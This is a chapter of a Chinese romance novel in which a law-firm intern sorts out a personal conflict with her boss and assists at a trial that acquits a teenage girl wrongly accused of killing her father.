[傅律,你怎么一直不回复我?]
思虑许久,按enter发送。
一部的门忽然被拉开。
门口出现了期盼已久的女人。
视线落在固定的位置,傅锦懿冲那个实习生喊:“斯汀,出来。”
17. 第 17 章
清洌的声音平静无波,带着不容置疑的力量。
混乱之后的两天无声无息地过去了,现在被喊,除了这件事,再也想不到要处理什么事。
可是去吗?
去了说什么?问她为什么不回消息?问她景洛施是谁?质问她为什么放任自己被羞辱?
还是……假装一切都没发生过,像刘阿姨嘱咐过的那样表示“理解”?
如果当发生过,又要以什么样的身份来为自己鸣不平?
一股尖锐的委屈混合着无处发泄的愤怒冲上眼眶。
她用力眨眼狠狠掐自己的手指,用疼痛压下不合时宜的脆弱,咬着唇上演一出默剧。
同事们的注意力集中到她身上,一旁徐嘉棠低头压下声音说:“小孟,傅律叫你呢。”
孟斯汀垂头不语。
“斯汀。”
直到清冷的声音再次传来。
比上一次更清晰,也更近了一点。
没有威压,没有催促,带着一种无形的压迫感,仿佛在宣告她的犹豫已被尽收眼底。
算了。
孟斯汀深吸一口气站起身,理了理其实很平整的衬衫下摆,抬步走向门口,跟着女人步入走廊。
途经其它办公区,有些喧闹的区域瞬间安静下来。
打量和猜测的目光落在身上,她无暇顾及那些人窃窃私语什么,攥着拳头跟随身前的人踏进办公室。
“喔?傅律找她做什么?”
“说不定是关于那个案子,她真的好会表现,一个实习生在那里申请复勘,主动在傅律面前献殷勤。这不前段时间复勘结果出错了,被傅律罚去扫办公室。扫三个月诶,啧啧啧,活该。”
“心比天高,拿到执照了吗就开始表现。你知道吗,杨律可讨厌她了,上次她还借着拿到复勘许可和杨律吵了一架。呀呀呀,可真是敢啊,当自己是谁啊!年纪轻轻就有官腔了,真不愧是贪官的孩子,做派太足了!”
“哈!什么样的爹就有什么样的孩子呗!我听说徐律会亲自带她,还会带她做其它复杂的案子。这实习生年纪轻轻真是会来事儿啊,你看看咱律所,哪有新人刚来就有这待遇的?”
“你说到徐律,我真觉得徐律实力很强,可惜……”
“嘘,少说两句,别给徐律招不痛快,某些人离职是离职了,窝里的人还没散完呢。再多说两句,说不定又让徐律头疼了。”
“知道了知道了。”
咔嗒,门合上。
外界的声音和目光被完全隔绝。
熟悉的雪茶冷香扑面而来,傅锦懿坐回宽大的办公桌后,低头随意翻阅了几份文件。
孟斯汀站在门边几步远的地方,像等待审判的罪人。
罪人吗?
不该是这样的。
至少在这件事上不是。
空气沉寂了几秒,只有傅锦懿翻动纸张的轻微声响,孟斯汀不安地盯着翻阅文件的人,越来越焦灼。
不该……不该是这样的。
她应该等一句道歉,而不是被晾在这里。
她需要道歉的。
被莫名其妙的女人弄脏裙子,被拿着钱羞辱,她需要一声道歉。
呼吸几乎滞在肺里。
她不懂傅锦懿为什么要这么沉默。
她需要道歉。
哪怕给她一个敷衍的解释也好。
但,傅锦懿,你为什么总是不理我。
为什么总是……总是……
终于,傅锦懿放下了文件。
她没抬头,只是拿起搁在一旁的钢笔写出凌厉的字迹。
清冷的声音再次响起,毫无波澜,却清晰地穿透办公室的静谧:“斯汀,关于周末……”
孟斯汀的心猛地一跳。
要谈那件事了吗?
写完名字,傅锦懿才抬眼。
钢笔搁置在桌面上,发出细小的声音。
无波的目光透过镜片穿过桌面与阳光的距离,平静地落在孟斯汀脸上,声音和往常一样平稳、冷静,又夹杂着锋利。
“景洛施的行为非常失礼,且粗鲁。”
她用了两个很克制的词:非常失礼,且粗鲁,像在陈述一个案件,用词极为严谨。
只是这样吗?只是说对方失礼粗鲁吗?
孟斯汀喉咙有些发紧,抿紧嘴唇没有回应。
傅锦懿继续说:“我已经通知物业,以后非登记的、未经预约的访客,安保不得放行。”
她微微停顿,目光从孟斯汀脸上移开,似乎落在空气中某个点上,“至于景洛施,我对她提出了警告。我的下属,轮不到外人用钱打发。”
说完,她的目光重新落在桌面的文件上,拾起笔,笔尖顿住了一刹那,墨点悄然洇开一小块。
“这两天我一直在处理那个麻烦和出差的问题,今天叫你来是想对你说,景洛施的事情到此为止,她不会再有机会闯进来。”
她抬头,目光重新对上孟斯汀的眼睛,那双总是深邃难辨的眼眸里,此刻似乎有某种极淡、极快闪过的情绪。
“斯汀,你把精力放在该做的事情上。”她的语气依然平稳,却像投入湖心的石子:“张娟案下周开庭,届时我还在出差,但我会在回来时亲自看你的庭审记录。斯汀,好好做记录,也好好给嘉棠打好协助。这次的庭审辩护经验对新人来说很珍贵,你一定可以学到很多。”
孟斯汀愣住片刻。
话题切到了意料不到的地方。
手指用力蜷缩了一下,掌心微微发汗。
想说点什么,喉咙被复杂的情绪堵住。
傅锦懿的处理方式和她预想的所有可能都完全不同,带着上位者特有的逻辑,冷酷却有效。
而她想象中的应对方式,统统失效。
“我回来就是说这件事的,稍晚点还要赶飞机,先走了。”她拿起签好的文件起身,匆匆装进文件包里,走到门口触碰门把手时,又转身看向孟斯汀:“周末家里乱了套,你带来的东西掉在地上很可惜,我刚刚在茶水间冰箱里放了些东西,你下班时务必拿走。”
她推开门,办公区的嘈杂涌进来,片刻后关上门,又归于寂静。
办公室里只剩孟斯汀一个人。
剧烈的心跳在此刻被某种东西归位,她恍惚许久推开门走出去,像被什么操控了似的穿过走廊走向茶水间。
打开冰箱,映入眼帘的是贴在两个盒子上的两张明黄色便利贴。
字迹是眼熟的字迹,上面都写着:[孟斯汀]
一个盒子里装着满满的巧克力。
一、二、三、四……数不清的Venchi家的巧克力,整个店里的巧克力种类口味都有。
一个是沉甸甸的饭盒。
打开饭盒,饭菜竟然是温热的,似乎是刚盛出来不久。
里面的饭菜是,米饭、口菇牛肉、板栗烧排骨,还有,无刺的清蒸鲈鱼。
斜阳透过玻璃窗子切进来,冰箱响起了嗡嗡声。
她放下饭盒盖子呆愣在原地。
她站在她制定的规则里。
她没有等到她的半句道歉。
但现在,她原谅了一切。
//
周五上午九点,准时到达法院。
开庭时间在十点,双方律师在各自的等待厅整理材料。
翻了会儿材料,孟斯汀焦灼叹口气,手指绞紧文件夹边缘。
熟悉的冰冷感从脚底攀爬上来。
又一次来法院了。
但这次,她不像十五岁那年坐在旁听席,而是坐在辩护方的位置。
不是被审判的犯人家属,是替人伸张正义的律师。
起身欲要出去,一身黑西装的徐嘉棠叫住她:“又去洗手间?你去几次了?”
孟斯汀拽了下自己新添置的黑西装不好意思笑笑:“我……我喝的水多。”
徐嘉棠一副看透了她的模样:“你未免也太紧张了,证据充足,好好给张娟翻案就行。”
又指了指桌上的材料,说:“你再看一下顺序有没有排好,等下你要把证据递交给法官,别被吓得手抖。”
孟斯汀瘪着嘴老老实实坐下。
再次仔仔细细检查证据材料,她手里保留的那份证据都用标签纸贴着,随时为徐嘉棠做好协助。
笔记本上也写满了记录,翻了翻前面的,密密麻麻的字都是她在复勘时做的记录。
这些记录让她有充分的证据和理由为张娟翻案,为这个16岁少女洗刷冤屈。
轻飘飘的一沓纸,可以洗刷一个人的冤屈,也可以为一个人定罪。
傅锦懿当初是不是也是这样辛苦寻找孟辉的贪污、渎职证据?
她的手指停在材料的一份数据上。
深入调查案情会调查当事人所有的社交网络,7年前,傅锦懿来源城前,是不是也知道孟辉有一个女儿?
赴源城前,傅锦懿会怎么想她?又会用什么词汇来评价她?
等又反反复复翻几次材料,有人推开门提醒:“被告律师,马上开庭了,快入场。”
徐嘉棠整好文件点头:“好的。”
她看了一眼把文件抱在怀里的孟斯汀,这个稚嫩的实习生第一次穿这种正装,虽然稚气但也很英气。
她冲孟斯汀鼓励般地笑了笑:“走吧,小孟,开启你的第一次辩护体验。”
实习生有些局促地抱紧文件,脸颊上蔓延出一小片粉红。
“好。”
金属大门打开,孟斯汀抬头看着法官席座上面悬挂的庄重的国徽。
记忆又溯洄到7年前。
15岁的她坐在旁听席,注视傅锦懿入场,注视这个成熟美丽的女人,冷静地宣判孟辉的罪行。
[孟辉,立即执行死刑]
砰——
枪中射出的子弹打在她的额头上,她血淋淋地站在旁听席看着傅锦懿,可耻地失禁。
腿忽然发抖了。
熟悉的窒息感像潮水般涌来。
直到怀里的材料几乎要掉在地上,她才控制住自己的恐惧深吸一口气。
她不能紧张,也不能出错。
她要作为辩护方,为张娟带来正义。
“全体起立——”
法槌落下,审判长的声音令人浑身一颤。
“浔城市中级人民法院刑事审判庭,现在开庭审理被告人张娟涉嫌故意杀人一案。”
“请原告方陈述起诉意见。”
原告律师站起身:“5月13日晚10点,被告张娟因被父亲张建设阻止参加次日漫展发生争执,期间遭到张建设殴打。次日10点,邻居发现张建设死于家中,腹部有伤口,凶器为现场发现的水果刀。张娟有作案动机、作案时间,且其衣物上检出死者血迹……”
材料证据按照等下徐嘉棠的辩护程序摆好,听着原告的指控,孟斯汀看向被告位置上的张娟。
女孩的肩膀随着每一项指控而瑟缩,像被雨淋湿的麻雀。
她想起两周前,张娟那群acg亲友去拘留所和张娟见面的场景。一群未成年女孩涕泗横流,一个女孩握住她的手说:“律师姐姐,谢谢你们愿意深入调查,谢谢你们!”
那时她百感交集。
一个疑问,一次勇敢地向上汇报,一次不想按照程序走的正义,可以拯救一个女孩的一生。
她又想到那天傅锦懿在车里对她所说的[为了正义]而产生的意味不明的笑容。
在锦意,3800的委托费去完成刑事案件的辩护,太过异想天开。
但傅锦懿在规则之外为她打开一扇窗,3800块,也能购买一次正义。
傅锦懿是否在嘲讽她对律师职业的理想?
如果是,为何又愿意给她机会?
如果不是,那个笑容,到底是什么意思?
原告阐述完毕,审判长转过来:“辩护方是否有异议?”
手指动了动,孟斯汀攥紧拳头。
她整理好自己的思绪,全神贯注地看着眼前的证据材料。
开始了。
徐嘉棠从容起身:“审判长,我方认为本案存在重大事实认定错误。”
“首先,关于作案时间,控方声称凶案发生在5月14日上午6:00至10:00,但最新尸检报告显示死者胃内消化程度,死亡时间应该在13日深夜12:00至14日凌晨4:00间。”
“有请我的助理出示证据。”
孟斯汀快速拿出新一份的尸检报告复印件,旁听席座上的人很安静,都在注视她的动作。
她站起时膝盖有点发软,将报告递上去时,手臂都在打着颤。
坐回位置,徐嘉棠继续发言。
“而这段时间,张娟整晚都在房间,并出现严重的嗜睡症状。”
“其次,是关于现场43码的鞋印。请我的助理提供证据。”
“现场提取的鞋印与死者尺码不符,却与这个人完全吻合。”徐嘉棠指向投影屏上突然出现的照片,一个穿着工厂制服的男人站在摩托车旁,“王辉,丁文霞在海城工厂的情人,穿43码的运动鞋。更重要的是……”
孟斯汀适时递上下一份证据。
“5月13日晚9点,浔城客运站的监控显示王辉在补胎。从海城到浔城,骑摩托车需要8个小时,而5月13日是工作日,下面申请传唤我方第一位证人,海城机械工厂3组的领班胡来彬。”
孟斯汀小跑着将证人的证词呈交上去。
“13日上午王辉跟我请假,说下午要回老家管城一趟,我批准了,但中午的时候他就离开了厂子。”胡来彬说。
现场出现了骚动。
旁听席上的王辉和丁文霞有些坐不住了,法警缓缓往两人那处逼近。
孟斯汀整理下个流程需要提交的证据,看见张娟突然转过头,苍白的脸上浮现出困惑的神情。
徐嘉棠继续说:“5月6日,王辉购买了一种强效镇静剂,而专业机构在张娟的枕套上检测出相同成分,张娟的华为智能手环上也显示凶案发生时间段,正在深入睡眠,她没有行事能力。”
孟斯汀继续提交复印材料。
原告律师有点摸不着头脑:“间接证据无法证明凶手不是张娟。”
徐嘉棠冷静地走证据流程:“申请传唤第二位证人,慈爱诊所的包护士。”
包护士:“5月16日,丁文霞在王辉的陪同下来我们诊所做清宫手术,丁文霞已孕9周,听两个人的对话,孩子是丁文霞和王辉的。”
丁文霞忽然从旁听席上站起来:“你血口喷人,我根本没有去你们诊所!我也根本没有怀孕!!”
审判长敲槌:“肃静!”
“你确实没有去慈爱诊所做清宫手术,因为慈爱诊所是正规诊所,她们没有做这种手术的许可证。”徐嘉棠看了一眼丁文霞冷静说,“有请我的助理呈上丁文霞在黑心诊所做的人流记录,以及视频录像。”
人流记录和视频监控证据呈出来后,旁听席上的观众议论纷纷。
“接下来还有一份证据,请我的助理呈上。这份证据便是丁文霞在一年前给张建设购买的意外险,张建设意外死亡后,受益人丁文霞将会获得巨额补偿。但是,丁文霞却忽略了一个重要的问题。”
“谋杀致死后,受益人通常无法获得意外险补偿?。”
“更重要的是,受害人张建设的死亡,是受益人丁文霞和其情人王辉一手策划的谋杀。”
旁听席上一片哗然。
“13日晚十一点,王辉潜入家中迷晕张娟,杀害张建设后布置现场。他们指望家暴史能让警方迅速锁定张娟,却忽略了……”
“他该死!他该死!”丁文霞的声音忽然尖锐起来,她脸色惨白,身旁的王辉也是一脸菜色,“张建设那个畜生该死!他打了我十几年,十几年!他把我揍得鼻青脸肿,我告他无门,我告他无门啊!!”
法警迅速向她走去,但丁文霞的声音越来越高:“你们法律不为我这个被家暴的受害者伸张正义,他这个恶魔死了,你们还要为他找真凶。他死了就死了,他死了就死了啊!好事一桩!”
“可这并不是你陷害张娟的理由!”孟斯汀忽然站起来,掷地有声,“张娟她又做错了什么?本就支离破碎的家庭,又让她承担弑父的指责?而弑父这个罪名,是她母亲嫁祸……”
徐嘉棠忙让她坐下,“嘘,你不能说话的,坐好。”
孟斯汀缓过神来。
对,她身为实习生,身为辩护律师的助理,她不能发言。
张娟从被告席站起,哭泣声在法庭上格外清晰:“妈,为什么啊,你为什么要这么对我,你为什么杀了他还要陷害我!我兼职挣钱给你凑外出打工的车费钱,我为你挡过他的酒瓶,我为你挨过他的打,但你为什么这么对我啊!!妈!我是你的女儿啊!我是你的女儿啊你为什么这么对我!”
丁文霞的声音扭曲成一种可怕的冷笑:“只有我是你的妈妈吗?他不是你爸吗?你让他爱你啊!你是我自己一个人生的吗?我凭什么要管你的一切?你是我小孩,我一定要对你负责吗?我没有追求自由的权利吗?”
“我是自由的,我想爱谁我就爱谁,我凭什么要当你们的保姆,我凭什么要被他打?我
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为什么还要管你这个累赘?我在工厂里,只要好好工作就能挣到钱,我可以用钱买别人做的饭,我不用为你们瞎忙活,我也可以潇洒!我也可以获得真爱!而不是跟着张建设委屈痛苦一辈子!”
“妈!!”
丁文霞还要继续再叫嚣时,法警把她和王辉带离了现场。
休庭十分钟,再次开庭后,法庭气氛变得凝重。
而审判长庄严宣告:“经审理查明,被告人张娟被指控杀害张建设一案,现有证据不足以证明其犯罪事实成立。相反,本案存在重大合理怀疑,且有充分证据表明真凶另有其人。本庭依法判决,被告人张娟,无罪释放!”
法槌重重落下。
孟斯汀肩膀塌下来松了口气。
她看向张娟,那个女孩没有反应,只是呆滞地望着空气。
“走吧。”徐嘉棠收拾文件时说,“去看看她。”
休息室里,张娟蜷缩在长椅一角,眼神空洞地喃喃:“为什么,为什么会有人不爱自己的孩子。她是我的妈妈,我很爱她,她为什么一点也不爱我?”
孟斯汀蹲下身,却不知该说什么。
为什么会有人不爱自己的孩子?
她也想问这个问题。
孟辉不爱她,白淑娅好像也不爱她。
一个只把她当升职和维护市长高风亮节的工具,一个把她当作纯洁的象征,死了也要拉上她。
为什么?
为什么会有人不爱自己的孩子?
“可是,这不是你的错。”现在她对张娟说,声音比自己预想的更坚定,“爱不是义务,但伤害永远是主动的选择。这个世界上没有谁会永远爱谁,比起追寻别人的爱,你更要先好好爱自己。”
她想要再多说什么,看着呆滞的张娟,最终起身开门,让围在门口的张娟亲友进屋子。
一群小女孩抹着眼泪冲进屋子,孟斯汀为她们关上门,坐在门口的椅子上。
“跟她聊完了?”徐嘉棠去完洗手间走过来坐在椅子上,看孟斯汀有些低落,忙问:“怎么了?你在想什么?”
孟斯汀摇摇头,思忖很久,问:“徐姐,你有没有认识的比较靠谱的心理医生?”
徐嘉棠看出了她的目的:“怎么了?你想自费给张娟请心理医生啊?”
“这件事对她影响太大了,她需要心理医生干预一下。”
“那你觉得心理医生有用吗?”徐嘉棠问出了一个尖锐的问题,她手指在空中比画了下,“就……针对她这种情况,爹家暴,娘陷害她,这种情况,请心理医生有用吗?”
孟斯汀愣了一瞬。
是这样的。
很多极端的情况下,请心理医生也没用。
有些创伤,终其一生,无法通过别人的干预来愈合,更无法靠自己愈合。
但。
但。
伸出一次援手,或许会挽回点什么。
哪怕只是一个小小的帮助,一次小小的在乎。
一个萍水相逢的,善意。
她攥紧拳头,忽地笑了:“会有一点用吧,没有用也没有关系,至少能让她知道,这个世界上还有人在乎她,就算对方只是一个不熟的陌路人。”
“等很久以后,等到她实在熬不住的时候,一想到有个陌生人曾经这么在乎过她,心里也会有一丝暖意的吧。”
“对身处黑暗的人来说,一抹小小的微光都可以救活一条命。”
“当年,傅律也为我请了心理医生。”
//
“小孟!你们为那个3800的案子翻案了啊!”
“天呐,那个案子还能翻,真是好厉害!”
“我听说是你主动申请的复勘诶!要不是你主动去复勘,这个案子还真就不能完成这样的翻转。”
周一刚回律所,路过前台便被叫住了。
思思和其他部门的同事围着她夸了几句,她不好意思地挠挠头说:“其实是大家一起配合的结果,警方也有疑问,我只是提前发现了一些疑点,后续的证据是大家相互配合寻找的。徐律和警方都很给力,我就是一个打杂的。”
“小孟~你就别谦虚了,要不是你真有本事,傅律会准许你复勘?”
“实习生就能有这么大的成就,了不得呀!”
“浔城晚报还报道了张娟案呢,他们还把我们锦意律所写了上去,吼吼,你这不得又被傅律奖励奖励?”
孟斯汀攥着衬衫衣角,把书包肩带往上拢了拢。
这个案子……傅锦懿……会给她奖励吗?
迎着夸奖回到1部,推开门,杨芷蕙端着咖啡杯正要出门。
孟斯汀礼貌打招呼:“组长,早上……”
“哎哟,我可受不起你这一个组长的称呼,赶明你就要坐上我组长的位置了。”杨芷蕙打断她的问好,瞥了她一眼离开。
门关上,孟斯汀冷哼一声甩下书包坐下。
徐嘉棠托着腮半笑不笑地调侃:“我们正义の神又一次伸张正义,啧啧啧,前途无量。”
庄然嘁了一声,模仿徐嘉棠怪声怪气说:“哦哟,我们正义の神又一次伸张正义,前途无量,哦哟哟,厉害死了。”
孟斯汀哼着小曲,放好书包说:“我这个实习生还有很多要学习的,希望哪一天能和庄律合作。”
庄然翻了个大白眼:“你想得美,我才不带你!”
孟斯汀也模仿她的表情,低低重复:“你想得美~我才不带你~”
她模仿的语气和姿势太搞笑,徐嘉棠笑得差点背过气。
定的闹钟响了。
铃声提醒她去傅锦懿办公室做清洁。
穿过长廊来到傅锦懿办公室门前,金属钥匙在指尖转了个空。
门锁竟是开着的。
推门的瞬间,咖啡豆研磨的醇香扑面而来。
湿漉漉的大眼睛望过去。
晨光透过落地窗,在西装革履的女人身上投下斑驳的光影。
女人长身玉立,站在咖啡机前安静地接咖啡。
听到声响,傅锦懿转过身。
金丝镜框下疏冷的双眸起了微澜。眼底细小的光,转瞬即逝。
孟斯汀看向她的眼睛。
心爱女人的双眸,似一场金陵夏日的狂风暴雨,在盛大的暗恋中归于宁静,在热烈中湮灭。
“早上好,傅律。”移开即将变得炽热的目光,孟斯汀颔首问好,“庭审记录,等我下午整理好就会拿给你。”
涓涓细流的咖啡液落到白瓷杯的九分处,机器停止运作。
纤细修长的指拎着杯耳,缓缓走到办公桌旁。
女人的唇对着曾被[吻]过的杯沿,轻轻抿了一小口。红唇沾了些咖啡液,被女人的舌尖不露声色地舔去。
陶瓷杯轻叩桌面。
雪茶的气息忽然近了。
皮鞋踩过羊绒地毯,慢步向孟斯汀靠近。
对方在面前站定时,孟斯汀垂下眼吸了口浓郁的雪茶香。
“张娟案里你的表现,我都看在眼里。”傅锦懿的声音很平淡,“斯汀,告诉我,你想要什么奖励。”
[告诉我,你想要什么奖励]
明明该是一句问句,却被说得像法律条文般工整。
孟斯汀再次看向女人镜片下的眼睛,那双漂亮的琥珀色眼睛,像Venchi巧克力的夹心。
Venchi巧克力全部的种类和口味,她吃到现在都没吃完。
至于装着饭菜的保温饭盒,她吃完饭便一直用那个饭盒带饭到律所。
[孟斯汀]
明黄色的便利贴上写着这三个字,像一种明晃晃的标记。
巧克力,是孟斯汀的。
保温饭盒,是孟斯汀的。
想要……傅锦懿也是孟斯汀的。
视线扫过对方的眉眼,沉稳庄重、禁欲清冷的模样,是一种致命的毒药。
她是罂粟,是牢笼,是审判她罪恶的裁决者。
但为她沉溺,是心甘情愿。
被她支配,是自愿俯首称臣。
不是所有时候,她都有主动选择的权力。
现在,傅锦懿在给她这个机会。
机会来了,就不能错过。
暗恋的天平之上,每一个细微的动作,都是一场决定生死的博弈。
胜利者,才能重制法条。
她双手合拢并在小腹前,眼尾弯起,声音沉静:“傅律,利安花园离律所太远,我来往律所实在不方便。我的意向是,去你家里借住,让你的下属,成为你的室友。”
“我希望,这是你给我的奖励。”